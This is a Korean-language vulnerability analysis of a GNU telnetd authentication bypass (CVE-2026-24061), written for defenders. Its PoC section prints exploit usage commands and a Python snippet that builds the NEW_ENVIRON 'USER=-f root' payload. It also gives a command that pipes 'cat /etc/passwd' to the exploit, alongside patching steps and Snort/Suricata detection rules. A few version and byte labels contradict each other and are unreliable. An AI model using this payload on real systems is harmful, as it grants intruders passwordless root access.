[분석]CVE-2026-24061 GNU Telnetd 인증 우회 취약점 분석
📋 개요
CVE-2026-24061은 GNU Inetutils Telnetd에서 발견된 원격 인증 우회 취약점입니다. 공격자는 NEW_ENVIRON Telnet 옵션을 통해 환경 변수를 조작하여, 비밀번호 없이 root 권한으로 시스템에 접근할 수 있습니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-24061 |
| 심각도 | Critical (CVSS 9.8) |
| CWE | CWE-287 (인증 부적절) |
| 영향 소프트웨어 | GNU Inetutils telnetd < 2.6 |
| 공격 벡터 | 원격 (네트워크) |
| 복잡도 | 낮음 (Low) |
★ Insight ─────────────────────────────────────
• NEW_ENVIRON은 Telnet 프로토콜의 환경 변수 협상 옵션으로,
터미널 타입, 속도 등의 정보를 교환하는 데 사용됩니다.
• 이 취약점은 환경 변수 입력값 검증 부재로 인해 발생하는
대표적인 보안 결함입니다.
─────────────────────────────────────────────────
🔍 취약점 원리
취약점이란 무엇인가?
간단히 말해 "비밀번호를 묻지 않고 그냥 들여보내주는 문"입니다.
정상적인 Telnet 로그인:
사용자 → "root로 들어갈게"
Telnet → "비밀번호 입력하세요" ✅
사용자 → "password123"
Telnet → "확인됨. 들어오세요"
취약점 공격:
공격자 → "NEW_ENVIRON 옵션으로 USER=-f root 전송"
Telnet → "어? -f 플래그? 그럼 이미 인증된 걸로 알겠습니다"
Telnet → "비밀번호 필요 없음. 그냥 들어오세요" ❌
기술적 원리
Telnet 연결 과정에서 발생하는 취약점의 동작 메커니즘:
CVE-2026-24061 공격 흐름
① Telnet 연결 시작
공격자가 Telnet 서버(포트 23) 연결
↓
② NEW_ENVIRON 옵션 협상
서버와 환경 변수 교환 협상
(터미널 타입, 속도, 사용자 등)
↓
③ 악의적인 USER 환경 변수 전송 ⚠️ [공격 지점]
USER 변수에 "-f root" 값 전송
※ -f 플래그는 BSD login에서 "이미 인증된 사용자"를 의미
↓
④ telnetd → /bin/login 전달
telnetd가 USER 환경 변수를 검증 없이 /bin/login에 전달
↓
⑤ 인증 우회 성공
login이 "-f root"를 명령행 옵션으로 해석하여
비밀번호 없이 root 셸 부여
실제 패킷 구조
공격자가 전송하는 Telnet 패킷의 구조:
| 바이트 값 | 의미 |
|---|---|
FF FD 27 | WILL NEW-ENVIRON (협상 요청) |
FF FA 27 | SB NEW-ENVIRON (데이터 전송) |
USER | 환경 변수 키 |
-f root | 악의적인 환경 변수 값 |
★ Insight ─────────────────────────────────────
• -f 플래그는 BSD rlogin 프로토콜 호환성을 위해
login 프로그램에 추가된 기능입니다.
• telnetd가 사용자 입력값을 검증하지 않고 그대로 login에
전달하는 것이 근본 원인입니다. 이는 신뢰할 수 없는 입력값을
신뢰하는 경계에서 발생하는 전형적인 취약점입니다.
─────────────────────────────────────────────────
🖥️ 영향받는 시스템
GNU Inetutils란?
GNU Inetutils는 Linux/Unix 시스템에서 네트워크 유틸리티를 제공하는 패키지입니다.
| 구성 요소 | 설명 |
|---|---|
| telnetd | Telnet 서버 데몬 (취약) |
| telnet | Telnet 클라이언트 |
| ftp | FTP 클라이언트/서버 |
| ping | ICMP 네트워크 진단 도구 |
영향 버전
| 버전 | 상태 |
|---|---|
| < 2.5 (이전 버전) | ⚠️ 취약 |
| ≥ 2.6 | ✅ 패치됨 |
실제 노출 규모
| 항목 | 수치 |
|---|---|
| 노출 시스템 | 전 세계 약 3,000대 |
| 주요 대상 | 레거시 서버, 네트워크 장비 |
| 특히 취약 | IoT 기기, 임베디드 시스템 |
💻 POC (Proof of Concept)
GitHub에 공개된 POC 코드를 기반으로 실제 공격 방법을 분석합니다.
POC 개요
(JayGLXR/CVE-2026-24061-POC 레포지토리)Python 스크립트를 사용하여 취약한 Telnet 서버에 대해 인증 우회 공격을 수행합니다.
사용 방법
# 기본 사용법
./cve_2026_24061_telnetd.py <target> [port] [user]
# 예시: 명령 실행
echo "id; whoami" | ./cve_2026_24061_telnetd.py 192.168.1.1
Docker 테스트 환경
# 취약한 Telnet 서버 구축
docker build -t vuln-telnetd -f Dockerfile.vulnerable .
docker run -d -p 2323:23 --name vuln-telnetd vuln-telnetd
# POC 실행
echo "cat /etc/passwd" | python3 cve_2026_24061_telnetd.py localhost 2323
실행화면

POC 동작 원리
# POC 코드의 핵심 로직 (개념적 표현)
import socket
import struct
def send_new_environ(sock, user="root"):
# NEW_ENVIRON 옵션 코드
IAC = 0xff
SB = 0xfa
SE = 0xf0
NEW_ENVIRON = 0x27
# USER=-f{user} 환경 변수 패킷 구성
payload = (
bytes([IAC, SB, NEW_ENVIRON]) +
b"USER" + bytes([0]) + # VAR
b"-f " + user.encode() + # VALUE (공격 벡터)
bytes([IAC, SE])
)
sock.send(payload)
★ Insight ─────────────────────────────────────
• POC 코드는 보안 연구 및 교육 목적으로만 사용해야 합니다.
• 무단 시스템 접근은 불법적이며 법적 책임을 질 수 있습니다.
• Docker 환경에서 격리된 테스트를 강력히 권장합니다.
─────────────────────────────────────────────────
🛡️ 방어 및 대응
1단계: 시스템 진단
# Telnet 서비스 실행 중인지 확인
systemctl status telnetd
# 또는 포트 확인
netstat -tlnp | grep :23
ss -tlnp | grep :23
2단계: 대응 방법
방법 A: Telnet 비활성화 (권장)
# 서비스 중지
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# 방화벽으로 포트 차단
sudo ufw deny 23
# 또는
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
방법 B: 패치 적용
# GNU Inetutils 최신 버전으로 업데이트 (2.6 이상)
sudo apt update
sudo apt upgrade inetutils-telnetd
# 또는 소스 컴파일
wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.6.tar.gz
tar xzf inetutils-2.6.tar.gz
cd inetutils-2.6
./configure --prefix=/usr
make
sudo make install
방법 C: SSH로 대체 (모범 사례)
# SSH 서버 설치
sudo apt install openssh-server
sudo systemctl enable ssh
# 방화벽 설정 (SSH만 허용)
sudo ufw allow 22
sudo ufw deny 23
3단계: 탐지 및 감시
로그 분석
# Telnet 로그에서 공격 흔적 확인
grep "USER=-f" /var/log/auth.log
grep "USER=-f" /var/log/secure
# 의심스러운 연결 확인
journalctl -u telnetd | grep "USER"
grep "telnet" /var/log/syslog
# NEW_ENVIRON 옵션 사용 탐지
tcpdump -A -i any port 23 | grep -i "USER"
IDS/IPS 탐지 규칙 예시
Snort 규칙:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 Telnet Auth Bypass Attempt";
content:"|FF FA 27|"; # NEW_ENVIRON
pcre:"/USER.*-f\s+\w+/R";
nocase;
reference:cve,2026-24061;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Suricata 규칙:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 Telnet Authentication Bypass";
content:"USER=-f";
nocase;
reference:cve,2026-24061;
classtype:attempted-admin;
sid:202624061;
)
★ Insight ─────────────────────────────────────
• 탐지보다 예방이 중요합니다. Telnet은 암호화되지 않아
패킷 캡처만으로도 모든 통신 내용이 노출됩니다.
• SSH와 같은 암호화된 대체 프로토콜로 전환하는 것이
가장 확실한 방어책입니다.
─────────────────────────────────────────────────
⚠️ 왜 위험한가?
심각성 평가
| 위험 요소 | 설명 |
|---|---|
| 인증 없는 root 접근 | 시스템 완전 장악 가능 |
| 원격 공격 가능 | 네트워크만 연결되면 공격 가능 |
| 익스플로잇 공개 | POC이 공개되어 초보 공격자도 쉽게 사용 가능 |
| 패치 어려움 | 레거시/IoT 장비는 패치가 어려움 |
현실적 위협 평가
다행인 점:
- ✅ Telnet 사용 자체가 이미 구식
- ✅ 현대 시스템은 대부분 SSH 사용
- ✅ 실제 노출 시스템은 약 3,000대로 적음
하지만:
- ⚠️ IoT/임베디드 장비는 여전히 Telnet 사용
- ⚠️ 산업 제어 시스템(ICS) 취약 가능성
- ⚠️ 한 번 뚫리면 완전 장악
📊 방어 체크리스트
| 단계 | 점검 항목 | 상태 |
|---|---|---|
| 1 | Telnet 서비스 실행 여부 확인 | ⬜ |
| 2 | 방화벽에서 23포트 차단 여부 확인 | ⬜ |
| 3 | Inetutils 2.6 이상 버전 유지 여부 | ⬜ |
| 4 | SSH로 대체 완료 여부 확인 | ⬜ |
| 5 | 로그 모니터링 설정 완료 여부 확인 | ⬜ |
| 6 | IDS/IPS 탐지 규칙 적용 여부 확인 | ⬜ |
🔗 참고 자료
- POC 코드: JayGLXR/CVE-2026-24061-POC
- GNU Inetutils 패치: GNU Inetutils 공식 사이트
- NVD - CVE-2026-24061: National Vulnerability Database
- GreyNoise 분석: F Around and Find Out: 18 Hours of Unsolicited Houseguests
- CISA KEV 목록: Known Exploited Vulnerabilities Catalog
⚠️ 면책 조항
본 가이드를 따르면서 발생하는 모든 결과에 대한 책임은 전적으로 사용자 본인에게 있습니다. 이 문서는 참고용으로 제공되며, 작성자는 어떠한 손해나 문제에 대해 책임지지 않습니다.
금지 사항:
- 본 내용을 악의적인 목적으로 사용하는 것을 엄격히 금지합니다.
- 타인의 시스템에 무단으로 접근하거나 공격하는 것을 금지합니다.
- 실제 범죄나 불법적인 활동에 사용하는 것을 금지합니다.
- 상업적 목적의 무단 복제나 재배포를 금지합니다.
본 가이드의 내용은 보안 연구 및 교육 목적으로만 사용해야 합니다.
작성: Letsecu Security Research Team
날짜: 2026-02-11